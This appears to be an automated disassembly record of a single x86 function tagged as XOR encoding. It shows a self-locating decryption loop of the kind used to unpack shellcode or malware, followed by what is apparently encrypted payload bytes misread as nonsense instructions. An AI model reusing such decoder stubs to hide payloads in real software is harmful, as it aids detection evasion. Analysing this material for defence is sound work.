Function at 0x7c0348
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7c0352
pushal
call 0x7c0358
pop ebp
sub ebp, 0x10
sub ebp, 0x3c0348
add edi, dword [eax + eax]
jmp 0x7c036e
mov eax, 0x3c0348
add eax, ebp
add eax, 0x4c
mov ecx, 0x61a
mov edx, 0x958b7385
xor byte [eax], dl
inc eax
dec ecx
jne 0x7c0385
jmp 0x7c0398
push cs
dec eax
push cs
or al, 0xb9
test dword [ebp + 0x7d440485], eax
test dword [ebp + 0x3d488685], eax
add byte [ebp - 0x52c07a7b], 0x85
test dword [ebp + 0x4d866772], eax
push cs
add al, 0x89
test dword [ebp + 0x8408685], eax
loope 0x7c0362
jns 0x7c03cf
and dword [ecx + 0x79a1e108], 0xeda1810c
movsd dword es:[edi], dword [esi]
clc
mov eax, dword [ebp - 0x57fc5213]
test dword [ecx + ebp*4 + 0x19b0eda1], eax
cmpsb byte [esi], byte es:[edi]
cmp ebp, dword [ebp - 0x80]
test dword [ebp - 0x7a50937b], eax
test dword [ebp - 0x5e16f730], eax
test dword [esi], ecx
add byte [ebp + 0xe858585], cl
adc byte [ecx + 0xe858585], cl
or byte [ebp + 0x44858585], dl
insb byte es:[edi], dx
xchg dword [edi + eax*4 - 0x337eb8fa], esi
mov al, byte [eax]
jno 0x7c0486
jp 0x7c0488
fadd dword [edi - 0x77]
test dword [esi], ecx
or dword [ecx - 0x7a7a7a7f], esp
in eax, dx
movsd dword es:[edi], dword [esi]
clc
mov eax, dword [ebp - 0x57fc5213]
test dword [ecx + ebp*4 - 0x5e1ef75f], eax
jns 0x7c0437
or cl, ah
mov eax, dword [0xa1890c79]
insd dword es:[edi], dx
add byte [ebp - 0x45937a7b], 0x87
mov dword [ecx - 0x7a7a7f93], esp
test dword [edx + edi*4 - 0x79], ebp
test dword [ebp + 0x7ad8d1d0], eax
invalid
rcl cl, 1
fdivr dword [edx - 0x10]
mov dword [edx - 0x10], edi
lea ebp, [ebp - 9]
test dword [ebp - 0x72c7f17b], eax
test dword [ebp - 0x398bfb7b], eax
add al, 0x69
jbe 0x7c0456
je 0x7c041a
add al, 0x69
jbe 0x7c040e
dec esp
mov dh, 0x57
push es
insd dword es:[edi], dx
or ch, 0x8a
add ebx, ecx
test dword [ebp - 0x32f2757b], eax
test dword [ebp - 0x66f11c7b], eax
mov esp, 0x8a6d7e05
add dword [edi + 0x5858585], ebx
jle 0x7c04e7
test dword [ebp - 0x759381fb], eax
add dword [ebp + eax*4 + 0x4e38585], edx
jle 0x7c04ff
mov al, byte [ecx]
xchg esp, eax
test dword [ebp + 0x7e04e385], eax
jp 0x7c0426
mov al, byte [0x8590018a]
test dword [ebp + 0x7a496cc4], eax
mov al, byte [ecx]
nop
test dword [ebp + 0x496cc485], eax
jp 0x7c050b
les ebp, [ecx + ecx*2 + 0x7a]
jp 0x7c050c
jp 0x7c043f
lodsb al, byte [esi]
leave
mov esp, 0x80440684
push es
insd dword es:[edi], dx
sub dword [eax + edi + 0x7a], 0xd1ac7a7a
mov esp, 0x83440687
push es
outsd dx, dword [esi]
add dword [esi], 0x2e6c806d
jp 0x7c052c
jp 0x7c048c
inc edi
mov dword [ebp - 0x2c96f130], eax
rcl al, cl
push cs
invalid
push edi
mov al, byte [esi]
pop ebp
jp 0x7c0567
jp 0x7c0476
push edi
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
mov al, byte [esi]
out dx, eax
test dword [ebp - 0x78ba497b], eax
push edi
test dword [ebp + 0x578745b6], eax
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
setae bl
xchg ebx, eax
ret
xchg edi, eax
push edi
mov al, byte [esi]
scasd eax, dword es:[edi]
test byte [ebp - 0x75a8787b], al
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
test dword [edi], ecx
xchg ebx, eax
ret
cmc
jp 0x7c05e4
jp 0x7c05a9
test byte [ebp + 0x57878585], al
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
xchg esi, eax
inc ebp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
test dword [ebp - 0x3c6cf07b], eax
xchg edi, eax
push edi
xchg esi, eax
dec esp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
add byte [eax + 0xf858585], al
xchg ebx, eax
ret